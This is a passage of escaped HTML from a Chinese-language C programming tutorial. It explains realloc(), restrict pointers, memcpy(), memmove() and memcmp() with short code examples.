class=\"keyword\"\u003esizeof\u003c/span\u003e(*p * \u003cspan class=\"number\"\u003e40\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (new_p == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Error reallocing\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,\u003ccode\u003erealloc()\u003c/code\u003e不会对内存块进行初始化。\u003c/p\u003e\u003ch3 id=\"restrict-说明符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#restrict-%E8%AF%B4%E6%98%8E%E7%AC%A6\" class=\"headerlink\" title=\"restrict 说明符\"\u003e\u003c/a\u003erestrict 说明符\u003c/h3\u003e\u003cp\u003e声明指针变量时,可以使用\u003ccode\u003erestrict\u003c/code\u003e说明符,告诉编译器,该块内存区域只有当前指针一种访问方式,其他指针不能读写该块内存。这种指针称为“受限指针”(restrict pointer)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,声明指针变量\u003ccode\u003ep\u003c/code\u003e时,加入了\u003ccode\u003erestrict\u003c/code\u003e说明符,使得\u003ccode\u003ep\u003c/code\u003e变成了受限指针。后面,当\u003ccode\u003ep\u003c/code\u003e指向\u003ccode\u003emalloc()\u003c/code\u003e函数返回的一块内存区域,就味着,该区域只有通过\u003ccode\u003ep\u003c/code\u003e来访问,不存在其他访问方式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* q = p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e*q = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 未定义行为\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,另一个指针\u003ccode\u003eq\u003c/code\u003e与受限指针\u003ccode\u003ep\u003c/code\u003e指向同一块内存,现在该内存有\u003ccode\u003ep\u003c/code\u003e和\u003ccode\u003eq\u003c/code\u003e两种访问方式。这就违反了对编译器的承诺,后面通过\u003ccode\u003e*q\u003c/code\u003e对该内存区域赋值,会导致未定义行为。\u003c/p\u003e\u003ch3 id=\"memcpy\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#memcpy\" class=\"headerlink\" title=\"memcpy()\"\u003e\u003c/a\u003ememcpy()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ememcpy()\u003c/code\u003e用于将一块内存拷贝到另一块内存。该函数的原型定义在头文件\u003ccode\u003estring.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003ememcpy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e dest, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e source, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003edest\u003c/code\u003e是目标地址,\u003ccode\u003esource\u003c/code\u003e是源地址,第三个参数\u003ccode\u003en\u003c/code\u003e是要拷贝的字节数\u003ccode\u003en\u003c/code\u003e。如果要拷贝10个 double 类型的数组成员,\u003ccode\u003en\u003c/code\u003e就等于\u003ccode\u003e10 * sizeof(double)\u003c/code\u003e,而不是\u003ccode\u003e10\u003c/code\u003e。该函数会将从\u003ccode\u003esource\u003c/code\u003e开始的\u003ccode\u003en\u003c/code\u003e个字节,拷贝到\u003ccode\u003edest\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003edest\u003c/code\u003e和\u003ccode\u003esource\u003c/code\u003e都是 void 指针,表示这里不限制指针类型,各种类型的内存数据都可以拷贝。两者都有 restrict 关键字,表示这两个内存块不应该有互相重叠的区域。\u003c/p\u003e\u003cp\u003e\u003ccode\u003ememcpy()\u003c/code\u003e的返回值是第一个参数,即目标地址的指针。\u003c/p\u003e\u003cp\u003e因为\u003ccode\u003ememcpy()\u003c/code\u003e只是将一段内存的值,复制到另一段内存,所以不需要知道内存里面的数据是什么类型。下面是复制字符串的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e s[] = \u003cspan class=\"string\"\u003e\u0026#34;Goats!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e t[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e(t, s, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(s)); \u003cspan class=\"comment\"\u003e// 拷贝7个字节,包括终止符\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, t); \u003cspan class=\"comment\"\u003e// \u0026#34;Goats!\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符串\u003ccode\u003es\u003c/code\u003e所在的内存,被拷贝到字符数组\u003ccode\u003et\u003c/code\u003e所在的内存。\u003c/p\u003e\u003cp\u003e\u003ccode\u003ememcpy()\u003c/code\u003e可以取代\u003ccode\u003estrcpy()\u003c/code\u003e进行字符串拷贝,而且是更好的方法,不仅更安全,速度也更快,它不检查字符串尾部的\u003ccode\u003e\\0\u003c/code\u003e字符。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e len = \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(s) + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *c = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(len);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (c) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// strcpy() 的写法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(c, s);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// memcpy() 的写法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e(c, s, len);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,两种写法的效果完全一样,但是\u003ccode\u003ememcpy()\u003c/code\u003e的写法要好于\u003ccode\u003estrcpy()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e使用 void 指针,也可以自定义一个复制内存的函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003emy_memcpy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* dest, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* src, \u003cspan class=\"type\"\u003eint\u003c/span\u003e byte_count)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = src;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* d = dest;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (byte_count--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *d++ = *s++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e dest;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,不管传入的\u003ccode\u003edest\u003c/code\u003e和\u003ccode\u003esrc\u003c/code\u003e是什么类型的指针,将它们重新定义成一字节的 Char 指针,这样就可以逐字节进行复制。\u003ccode\u003e*d++ = *s++\u003c/code\u003e语句相当于先执行\u003ccode\u003e*d = *s\u003c/code\u003e(源字节的值复制给目标字节),然后各自移动到下一个字节。最后,返回复制后的\u003ccode\u003edest\u003c/code\u003e指针,便于后续使用。\u003c/p\u003e\u003ch3 id=\"memmove\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#memmove\" class=\"headerlink\" title=\"memmove()\"\u003e\u003c/a\u003ememmove()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ememmove()\u003c/code\u003e函数用于将一段内存数据复制到另一段内存。它跟\u003ccode\u003ememcpy()\u003c/code\u003e的主要区别是,它允许目标区域与源区域有重叠。如果发生重叠,源区域的内容会被更改;如果没有重叠,它与\u003ccode\u003ememcpy()\u003c/code\u003e行为相同。\u003c/p\u003e\u003cp\u003e该函数的原型定义在头文件\u003ccode\u003estring.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003ememmove\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* dest, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* source, \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003edest\u003c/code\u003e是目标地址,\u003ccode\u003esource\u003c/code\u003e是源地址,\u003ccode\u003en\u003c/code\u003e是要移动的字节数。\u003ccode\u003edest\u003c/code\u003e和\u003ccode\u003esource\u003c/code\u003e都是 void 指针,表示可以移动任何类型的内存数据,两个内存区域可以有重叠。\u003c/p\u003e\u003cp\u003e\u003ccode\u003ememmove()\u003c/code\u003e返回值是第一个参数,即目标地址的指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ememmove(\u0026amp;a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], \u0026amp;a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e], \u003cspan class=\"number\"\u003e99\u003c/span\u003e * \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,从数组成员\u003ccode\u003ea[1]\u003c/code\u003e开始的99个成员,都向前移动一个位置。\u003c/p\u003e\u003cp\u003e下面是另一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e x[] = \u003cspan class=\"string\"\u003e\u0026#34;Home Sweet Home\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 Sweet Home Home\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003echar\u003c/span\u003e *) memmove(x, \u0026amp;x[\u003cspan class=\"number\"\u003e5\u003c/span\u003e], \u003cspan class=\"number\"\u003e10\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,从字符串\u003ccode\u003ex\u003c/code\u003e的5号位置开始的10个字节,就是“Sweet Home”,\u003ccode\u003ememmove()\u003c/code\u003e将其前移到0号位置,所以\u003ccode\u003ex\u003c/code\u003e就变成了“Sweet Home Home”。\u003c/p\u003e\u003ch3 id=\"memcmp\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#memcmp\" class=\"headerlink\" title=\"memcmp()\"\u003e\u003c/a\u003ememcmp()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ememcmp()\u003c/code\u003e函数用来比较两个内存区域。它的原型定义在\u003ccode\u003estring.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ememcmp\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* s1,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* s2,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan 